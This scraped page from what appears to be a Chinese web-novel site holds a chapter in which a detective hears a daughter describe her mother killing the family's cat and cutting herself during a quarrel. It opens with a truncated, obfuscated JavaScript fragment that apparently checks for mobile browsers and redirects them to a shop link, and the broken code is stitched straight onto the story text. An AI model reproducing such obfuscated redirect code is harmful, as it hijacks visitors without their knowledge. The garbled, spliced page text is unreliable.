l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894402|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无数次幻想进入这个家,努力讨好公婆,讨好谢嘉阳,自认为嫁过来就能万事大吉,可到头来,不过是个生孩子的工具罢了。 毕竟要是知道他们这个宝贝儿子是个同性恋,谁愿意把自己女儿嫁过来。 门当户对的找不到,这个农村来的丫头也就凑合一下吧,好歹是个名校大学生,能生养就行。 舒颖认清这一切后,嚎啕大哭。 * 梁楹从谢嘉阳家离开,感觉被迫看了一出家庭伦理剧,同时又有种被老同学利用了的不适感。她回到车上,望着楼道里一盏盏亮起的灯火,想了想关勤说的话后又联系起那天乔琪在派出所说的话。 “高中时候爸爸妈妈开始时不时吵架,等我上了大学,他们又从吵架变到冷战,有时候半个多月不说话,我觉得很压抑,就申请住校,大概是大一下学期,有天周末我回家忘带钥匙,给妈妈打电话,她叫我去10号楼找她,她在那练瑜伽,妈那天很开心,我们一起逛了街,买了衣服,我还以为妈妈看开了。没过多久,爸就发信息跟我说妈妈疯了。” “简蜜就像鬼一样,在我手机上装定位,去我公司蹲守,我每天吃什么,穿什么,几点回来,她全都要过问,连我开房的地址她都知道!我已经没有人权了,我在她面前就是透明的,我出轨了是我的问题,简蜜又能好到哪里去?!” “我不理解爸爸说的疯了是什么意思,但是我真的不想夹在他们中间了,我跟妈妈说过好几次,我说你们要是离婚,我肯定跟你,我妈不愿意,说我什么都不懂,我就躲在寝室,不想掺和他们的事。” “后来,我也感觉妈妈不对劲了。” “比如?” “她杀了我和爸捡回来的猫。 是一只白色的小猫。我家之前有一只黑猫,叫黑豆,是爸妈刚结婚的时候养的,我妈常说那是我哥哥,养了十五年,在我初中的时候它因为生病过世了。我们全家都很伤心,之后再也没养过宠物。 那只白猫带回家的时候妈妈不同意,说养白猫就是对黑豆的背叛。但是爸爸非要留下,买了宠物用品,还把黑豆曾经戴过的铃铛给它。 白猫在家住了大概两个月,有天周末妈给我打电话要我回家,当时我和朋友在外面玩错了回寝时间,没办法只能回家,还没进门就听到爸妈在吵架,我不想进去,就想等他们吵完,大概十分钟,我听到猫尖叫了一声,我赶紧开门进去,发现猫被摔死了。” 乔琪直到现在都没有忘记妈妈当时的表情,她面无表情俯视着口鼻流血的猫,说:“背叛过去的人都要付出代价。” “豆豆是我害死的,如果我早点进去不袖手旁观,也许豆豆就不会死。” 事发那天是乔石生日,乔石手机一直在响,乔琪在桌上玩手机装看不到,她早就知道他出轨了,反正这个家已经烂透了,随便他们。 三人像被硬凑在一起陌生人,连笑容都是为了应景。 许愿的时候,简蜜问乔石记不记得他们刚毕业工作那会儿的事,乔石当时正在回复新欢的短信,随口说不记得,简蜜不死心,接着又追问了三四遍,乔振东被问烦了,吼道:“几百年的事天天拿出来说,你烦不烦!” “他们就又吵起来了,爸受不了,回屋收拾行李要走,妈就拿刀威胁爸,说要是走了就自杀,爸坚持要走,妈就划了自己一刀。” 结合简蜜在医院的自述,她说的也是自己不小心误伤的,乔琪吓坏了开门找邻居帮忙,邻居见这样,添油加醋报警了。 于是造成了后续的场面。 “简蜜就是入了他妈邪教了,从她开始学那个什么鬼瑜伽,整个人就疯了!” 手机在这时响了一声,梁楹点开手机,最新一条未读信息上显示 ——杨枝说她去的瑜伽馆是小区人自己开的,在10号楼101。 看来得再会会关勤了。 梁楹开车离开。